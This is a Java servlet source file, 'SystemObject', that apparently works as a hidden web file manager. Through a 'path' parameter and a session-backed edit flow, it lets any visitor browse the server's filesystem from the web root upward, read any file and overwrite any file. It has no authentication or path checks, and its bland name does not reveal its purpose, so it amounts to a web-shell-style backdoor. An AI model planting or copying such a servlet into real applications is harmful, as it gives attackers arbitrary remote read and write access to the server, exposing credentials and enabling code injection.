package com.fick.service;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

public class SystemObject extends javax.servlet.http.HttpServlet {

	private static final long serialVersionUID = 1L;

	private Log log = LogFactory.getLog(SystemObject.class);

	private static String path = "";

	private static String contextPath = "";

	private PrintWriter pw = null;

	private HttpServletResponse res = null;

	private HttpServletRequest req = null;

	public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
		res.setCharacterEncoding("UTF-8");
		res.setContentType("text/html;charset=UTF-8");

		pw = res.getWriter();
		this.res = res;
		this.req = req;
		isSucceed();
		if (contextPath.equals(""))
			contextPath = req.getContextPath();
		path = req.getParameter("path");
		path = path == null ? "" : path;
		//log.warn(path);
		String exec = req.getParameter("exec");
		Object filePathObject = req.getSession().getAttribute("filePath");
		String filePath = filePathObject != null ? (String) filePathObject : "";
		if (exec != null && !exec.equals("")) {
			if (!filePath.equals("")) {
				savaFile(filePath, req.getParameter("fileContext"));
			}
			log.warn("sava file");
		}
		if (path.equals("")) {
			path = req.getRealPath("/");
		}
		printParent();
		printFiles(path);
	}

	private void printParent() {
		File pathDir = new File(path);
		pw.println("<a href='" + contextPath + "/system?path=" + pathDir.getParent() + "'>Parent</a><br>");
	}

	private void isSucceed() {
		Object obj = req.getSession().getAttribute("isSucceed");
		if (obj != null && ((String) obj).equals("1")) {
			pw.print("<script type='text/javascript'>alert('文件保存成功！');</script>");
		}
		req.getSession().removeAttribute("isSucceed");
	}

	private void printFiles(String path) {
		File pathDir = new File(path);
		if (pathDir.isFile()) {
			readerFile(pathDir);
		} else {
			File[] files = pathDir.listFiles();
			printDir(files);
			if (files != null) {
				for (int i = 0; i < files.length; i++) {
					if (!files[i].isDirectory()) {
						pw.println("<a href='" + contextPath + "/system?path=" + files[i].getPath() + "'>"
								+ files[i].getName() + "</a><br>");
					}
				}
			}
		}
	}

	private void printDir(File[] files) {
		if (files != null) {
			for (int i = 0; i < files.length; i++) {
				if (files[i].isDirectory()) {
					pw.println("<a href='" + contextPath + "/system?path=" + files[i].getPath() + "'>"
							+ files[i].getName() + "</a><br>");
				}
			}
		}
	}

	private void readerFile(File file) {
		if (file != null) {
			try {
				char[] chars = new char[1024];
				FileReader fr = new FileReader(file.getPath());
				BufferedReader br = new BufferedReader(fr);
				String line = null;
				StringBuffer sb = new StringBuffer();
				while ((line = br.readLine()) != null) {
					sb.append(line + "\n");
				}
				fr.close();
				br.close();
				req.getSession().setAttribute("fileContext", sb.toString());
				req.getSession().setAttribute("filePath", file.getPath());
				res.sendRedirect(this.contextPath + "/editFile.jsp");
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	private void savaFile(String filePath, String fileContext) {
		if (!filePath.equals("")) {
			File file = new File(filePath);
			try {
				FileOutputStream fos = new FileOutputStream(file.getPath());
				fos.write(fileContext.getBytes());
				fos.flush();
				fos.close();
				req.getSession().removeAttribute("fileContext");
				req.getSession().removeAttribute("filePath");
				req.getSession().setAttribute("isSucceed", "1");
				res.sendRedirect(this.contextPath + "/system");
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	private String createZip(File dir, File file) {
		String destPath = new File(path).getParent() + "/download.zip";
		try {
			BufferedInputStream origin = null;
			FileOutputStream dest = new FileOutputStream(destPath);
			ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream(dest));
			byte data[] = new byte[1024];
			// if (dir != null && !dir.equals("")) {
			// String files[] = dir.list();
			// for (int i = 0; i < files.length; i++) {
			// FileInputStream fi = new FileInputStream(files[i]);
			// origin = new BufferedInputStream(fi, 1024);
			// ZipEntry entry = new ZipEntry(files[i]);
			// out.putNextEntry(entry);
			// int count;
			// while ((count = origin.read(data, 0, 1024)) != -1) {
			// out.write(data, 0, count);
			// }
			// origin.close();
			// }
			// out.flush();
			// out.close();
			// }else{
			FileInputStream fi = new FileInputStream(file);
			origin = new BufferedInputStream(fi, 1024);
			ZipEntry entry = new ZipEntry(file.getName());
			out.putNextEntry(entry);
			int count;
			while ((count = origin.read(data, 0, 1024)) != -1) {
				out.write(data, 0, count);
			}
			origin.close();
			out.flush();
			out.close();
			// }
		} catch (Exception ex) {
			ex.printStackTrace();
		}
		return destPath;
	}
}
